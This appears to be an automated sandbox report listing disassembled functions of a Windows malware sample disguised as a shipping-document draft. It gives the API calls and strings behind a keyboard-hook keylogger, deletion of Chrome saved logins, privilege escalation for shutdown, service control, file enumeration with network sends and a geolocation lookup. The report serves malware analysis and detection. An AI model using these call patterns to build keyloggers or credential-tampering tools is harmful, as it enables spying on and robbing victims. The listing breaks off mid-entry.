                                                                                        Function 0040A2B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040A2D3
                                                                                        • SetWindowsHookExA.USER32(0000000D,0040A2A4,00000000), ref: 0040A2E1
                                                                                        • GetLastError.KERNEL32 ref: 0040A2ED
                                                                                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                        • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040A33B
                                                                                        • TranslateMessage.USER32(?), ref: 0040A34A
                                                                                        • DispatchMessageA.USER32(?), ref: 0040A355
                                                                                        Strings
                                                                                        • Keylogger initialization failure: error , xrefs: 0040A301
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
                                                                                        • String ID: Keylogger initialization failure: error
                                                                                        • API String ID: 3219506041-952744263
                                                                                        • Opcode ID: 4f13040d40fce51975cfbbc3673976c4dad95410904dfe41d9466c849e225161
                                                                                        • Instruction ID: 26c2bdf112627336efb266b6f5317542b4ef4d62b82d8858756ad59ca9dca42a
                                                                                        • Opcode Fuzzy Hash: 4f13040d40fce51975cfbbc3673976c4dad95410904dfe41d9466c849e225161
                                                                                        • Instruction Fuzzy Hash: FA11BF32604301ABCB107F76DC0A86B77ECEA95716B10457EFC85E21D1EA38C910CBAA
                                                                                        Function 0040A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetForegroundWindow.USER32 ref: 0040A416
                                                                                        • GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                                                                                        • GetKeyboardLayout.USER32(00000000), ref: 0040A429
                                                                                        • GetKeyState.USER32(00000010), ref: 0040A433
                                                                                        • GetKeyboardState.USER32(?), ref: 0040A43E
                                                                                        • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A461
                                                                                        • ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 0040A4C1
                                                                                        • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A4FA
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
                                                                                        • String ID:
                                                                                        • API String ID: 1888522110-0
                                                                                        • Opcode ID: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
                                                                                        • Instruction ID: 5ff565fa5b8df07833abad56ec5ecbabe923af01fc99f1944a330f9e709d98a3
                                                                                        • Opcode Fuzzy Hash: 4ba0a60493bf1cb7a04a280161e9af6e0206db9f66fbe83c406a8642f04fa518
                                                                                        • Instruction Fuzzy Hash: AE316D72504308FFD710DF94DC45F9BB7ECAB88705F01083AB645D61A0E7B5E9488BA6
                                                                                        Function 00413FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 0041409D
                                                                                        • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 004140A9
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        • LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 0041426A
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 00414271
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: AddressCloseCreateLibraryLoadProcsend
                                                                                        • String ID: SHDeleteKeyW$Shlwapi.dll
                                                                                        • API String ID: 2127411465-314212984
                                                                                        • Opcode ID: 16d4d9f7d8e9d2946c9e71bc9a9cf1ed37fbcb6207445c9ca6b4d79b5acfd54f
                                                                                        • Instruction ID: ad322413622673165c78a8c4b5f48079e939d646f467ca97d3bec1feacf55119
                                                                                        • Opcode Fuzzy Hash: 16d4d9f7d8e9d2946c9e71bc9a9cf1ed37fbcb6207445c9ca6b4d79b5acfd54f
                                                                                        • Instruction Fuzzy Hash: F9B1F971A0430066CA14FB76DC5B9AF36A86FD1748F40053FF942771E2EE7C9A4886DA
                                                                                        Function 00449190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _free.LIBCMT ref: 00449212
                                                                                        • _free.LIBCMT ref: 00449236
                                                                                        • _free.LIBCMT ref: 004493BD
                                                                                        • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 004493CF
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449447
                                                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449474
                                                                                        • _free.LIBCMT ref: 00449589
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                                                                        • String ID:
                                                                                        • API String ID: 314583886-0
                                                                                        • Opcode ID: e51e2b160430e069a94018d2a40d83d225257a5f61c10d126208887eb2308fed
                                                                                        • Instruction ID: 779aab753f07af14b01adf3fce5c8211df4e7f9331a35af1166ddbde82723190
                                                                                        • Opcode Fuzzy Hash: e51e2b160430e069a94018d2a40d83d225257a5f61c10d126208887eb2308fed
                                                                                        • Instruction Fuzzy Hash: CAC15771900205ABFB24DF69CC41AAFBBA8EF46314F1405AFE89497381E7788E42D758
                                                                                        Function 004167B4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00417952: GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                                                                          • Part of subcall function 00417952: OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                                                                          • Part of subcall function 00417952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                                                                          • Part of subcall function 00417952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                                                                          • Part of subcall function 00417952: GetLastError.KERNEL32 ref: 0041799D
                                                                                        • ExitWindowsEx.USER32(00000000,00000001), ref: 00416856
                                                                                        • LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 0041686B
                                                                                        • GetProcAddress.KERNEL32(00000000), ref: 00416872
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                                                                        • String ID: !D@$PowrProf.dll$SetSuspendState
                                                                                        • API String ID: 1589313981-2876530381
                                                                                        • Opcode ID: 518a98aa8e33dee1c4de961979bab0d7f2b6bdf321556802f5344010ded5f568
                                                                                        • Instruction ID: 15d3ae9bc4d358b9de40311b9e813ebd0b85961e95f80c383f5c7d57e5fc9640
                                                                                        • Opcode Fuzzy Hash: 518a98aa8e33dee1c4de961979bab0d7f2b6bdf321556802f5344010ded5f568
                                                                                        • Instruction Fuzzy Hash: 6E21617060430256CB14FBB68856AAE63599F41788F41487FB442A72D3EF3CD845CBAE
                                                                                        Function 0045243C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 86COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLocaleInfoW.KERNEL32(00000000,2000000B,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524D5
                                                                                        • GetLocaleInfoW.KERNEL32(00000000,20001004,00000000,00000002,00000000,?,?,?,0045275B,?,00000000), ref: 004524FE
                                                                                        • GetACP.KERNEL32(?,?,0045275B,?,00000000), ref: 00452513
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: InfoLocale
                                                                                        • String ID: ACP$OCP$['E
                                                                                        • API String ID: 2299586839-2532616801
                                                                                        • Opcode ID: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                                                                                        • Instruction ID: 65f7b5195a5790e2d5819d7d4b0c6b76a8aa59636dcad79128a037cfc813d78c
                                                                                        • Opcode Fuzzy Hash: 996ac876140471f7f335f389899e539d753f319036e5aa489baf53db5bb263cf
                                                                                        • Instruction Fuzzy Hash: FD21F432600104A7DB348F54CF00AA773A6EB47B1AB168567EC09D7302F7BADD48C398
                                                                                        Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                                                                                        • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                                                                                        • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                                                                                        • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                                                                                        • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                                                                                        Strings
                                                                                        • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Internet$CloseHandleOpen$FileRead
                                                                                        • String ID: http://geoplugin.net/json.gp
                                                                                        • API String ID: 3121278467-91888290
                                                                                        • Opcode ID: 93fb62275c9c30ece467367bc9d260af9d028c0859994e7c2f4e10a89ee4ed45
                                                                                        • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                                                                                        • Opcode Fuzzy Hash: 93fb62275c9c30ece467367bc9d260af9d028c0859994e7c2f4e10a89ee4ed45
                                                                                        • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                                                                                        Function 0040BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040BA4E
                                                                                        • GetLastError.KERNEL32 ref: 0040BA58
                                                                                        Strings
                                                                                        • UserProfile, xrefs: 0040BA1E
                                                                                        • [Chrome StoredLogins found, cleared!], xrefs: 0040BA7E
                                                                                        • [Chrome StoredLogins not found], xrefs: 0040BA72
                                                                                        • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040BA19
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: DeleteErrorFileLast
                                                                                        • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                                                                        • API String ID: 2018770650-1062637481
                                                                                        • Opcode ID: 0e718a6ebf02f44b4289ad564225df6632aa7359f7d3b59aeb067c3ad082f2b5
                                                                                        • Instruction ID: af402a2c9819bc64f7c9913ab42ffc044d60d1b3c88a69bbc3d4df1d4d30a246
                                                                                        • Opcode Fuzzy Hash: 0e718a6ebf02f44b4289ad564225df6632aa7359f7d3b59aeb067c3ad082f2b5
                                                                                        • Instruction Fuzzy Hash: 2D01A7B17801056AC70477B6CD5B9BE77249911704F50057FF802725E2FE7D59098ADE
                                                                                        Function 00417952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetCurrentProcess.KERNEL32(00000028,?), ref: 0041795F
                                                                                        • OpenProcessToken.ADVAPI32(00000000), ref: 00417966
                                                                                        • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00417978
                                                                                        • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00417997
                                                                                        • GetLastError.KERNEL32 ref: 0041799D
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                        • String ID: SeShutdownPrivilege
                                                                                        • API String ID: 3534403312-3733053543
                                                                                        • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                                                                        • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                                                                                        • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                                                                        • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                                                                                        Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __EH_prolog.LIBCMT ref: 00409258
                                                                                          • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                                                                                        • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                                                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                                                                                        • FindClose.KERNEL32(00000000), ref: 004093C1
                                                                                          • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
                                                                                          • Part of subcall function 00404E26: SetEvent.KERNEL32(?), ref: 00404E43
                                                                                          • Part of subcall function 00404E26: CloseHandle.KERNEL32(?), ref: 00404E4C
                                                                                        • FindClose.KERNEL32(00000000), ref: 004095B9
                                                                                          • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,00401A45,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000), ref: 00404B47
                                                                                          • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,00476B50,00474EE0,00000000,?,?,?,?,?,00401A45), ref: 00404B75
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
                                                                                        • String ID:
                                                                                        • API String ID: 1824512719-0
                                                                                        • Opcode ID: 27b22fca0a27779137ade02a72c9abe49e1240f26c7200fc68e50cf31d4d9716
                                                                                        • Instruction ID: 125c9cc0036adb3739497efb01147483584b5989e706bb19fe9a4109aadf0594
                                                                                        • Opcode Fuzzy Hash: 27b22fca0a27779137ade02a72c9abe49e1240f26c7200fc68e50cf31d4d9716
                                                                                        • Instruction Fuzzy Hash: DCB18D32900109AACB14EBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB98
                                                                                        Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                                                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                                                                                        • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                                                                                        • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Service$CloseHandle$Open$ManagerStart
                                                                                        • String ID:
                                                                                        • API String ID: 276877138-0
                                                                                        • Opcode ID: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
                                                                                        • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                                                                                        • Opcode Fuzzy Hash: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
                                                                                        • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                                                                                        Function 00451CD8 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 236COMMONLIBRARYCODE
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                        • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00444A73,?,?,?,?,004444CA,?,00000004), ref: 00451DBA
                                                                                        • _wcschr.LIBVCRUNTIME ref: 00451E4A
                                                                                        • _wcschr.LIBVCRUNTIME ref: 00451E58
                                                                                        • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,sJD,00000000,?), ref: 00451EFB
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                                                                        • String ID: sJD
                                                                                        • API String ID: 4212172061-3536923933
                                                                                        • Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                                                                                        • Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
                                                                                        • Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
                                                                                        • Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769
                                                                                        Function 0040F7A7 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 88sleepCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00413549: RegOpenKeyExA.KERNELBASE(80000001,00000000,00000000,00020019,00000000,00000000), ref: 00413569
                                                                                          • Part of subcall function 00413549: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 00413587
                                                                                          • Part of subcall function 00413549: RegCloseKey.ADVAPI32(00000000), ref: 00413592
                                                                                        • Sleep.KERNEL32(00000BB8), ref: 0040F85B
                                                                                        • ExitProcess.KERNEL32 ref: 0040F8CA
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: CloseExitOpenProcessQuerySleepValue
                                                                                        • String ID: 5.1.0 Pro$override$pth_unenc
                                                                                        • API String ID: 2281282204-182549033
                                                                                        • Opcode ID: bc1be6459073602c737430f7b82db798cb6416b862091f8f7e094519bbbbbb63
                                                                                        • Instruction ID: 07d0e0dc4205ecb16ec703249a4fc897915f305b32a2beb09604d1d6565ffe0f
                                                                                        • Opcode Fuzzy Hash: bc1be6459073602c737430f7b82db798cb6416b862091f8f7e094519bbbbbb63
                                                                                        • Instruction Fuzzy Hash: F821F371B0420167C604767A485B6AE35A95B80718F90403FF505676D7FF7C8E0583EF
                                                                                        Function 0040B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                                                                        • wsprintfW.USER32 ref: 0040B1F3
                                                                                          • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: EventLocalTimewsprintf
                                                                                        • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                                                                                        • API String ID: 1497725170-248792730
                                                                                        • Opcode ID: 48ae87abe5a633f6dbf757c3d9d37f4c5ebff31f90a39cbd1b197af817f8fe73
                                                                                        • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
                                                                                        • Opcode Fuzzy Hash: 48ae87abe5a633f6dbf757c3d9d37f4c5ebff31f90a39cbd1b197af817f8fe73
                                                                                        • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                                                                                        Function 0041B4A8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000), ref: 0041B4B9
                                                                                        • LoadResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4CD
                                                                                        • LockResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4D4
                                                                                        • SizeofResource.KERNEL32(00000000,?,?,0040F3DE,00000000), ref: 0041B4E3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Resource$FindLoadLockSizeof
                                                                                        • String ID: SETTINGS
                                                                                        • API String ID: 3473537107-594951305
                                                                                        • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                                                                        • Instruction ID: 65170a014006dd87783428e4339c5f85687a52ee3761dac8d56b05c0676c202a
                                                                                        • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                                                                        • Instruction Fuzzy Hash: 8AE01A36200B22EBEB311BA5AC4CD473E29F7C97637100075F90596232CB798840DAA8
                                                                                        Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __EH_prolog.LIBCMT ref: 0040966A
                                                                                        • FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,?), ref: 004096E2
                                                                                        • FindNextFileW.KERNEL32(00000000,?), ref: 0040970B
                                                                                        • FindClose.KERNEL32(000000FF,?,?,?,?,?,?), ref: 00409722
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_3_2_400000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Yara matches
                                                                                        Similarity
                                                                                        • API ID: Find$File$CloseFirstH_prologNext
                                                                                        • String ID:
                                                                                        • API String ID: 1157919129-0
                                                                                        • Opcode ID: f1abb1e18261a1922addd69d7cffa3ae5e96847022b02d1b31507e848c25f0fe
                                                                                        • Instruction ID: bc6583c976318a9931a9d4e75bf6093b5b8d8c817350453c5398c0af4fd679c1
                                                                                        • Opcode Fuzzy Hash: f1abb1e18261a1922addd69d7cffa3ae5e96847022b02d1b31507e848c25f0fe
                                                                                        • Instruction Fuzzy Hash: 59812B329001199BCB15EBA1DC969EDB378AF14318F10417FE506B71E2EF78AE49CB58
                                                                                        Function 0040880C Relevance: 7.7, APIs: 5, Instructions: 186fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • __EH_prolog.LIBCMT ref: 00408811
                                                                                        • FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                                                                        • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                                                                        • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00408A15
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000003.00000002.2040907335.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
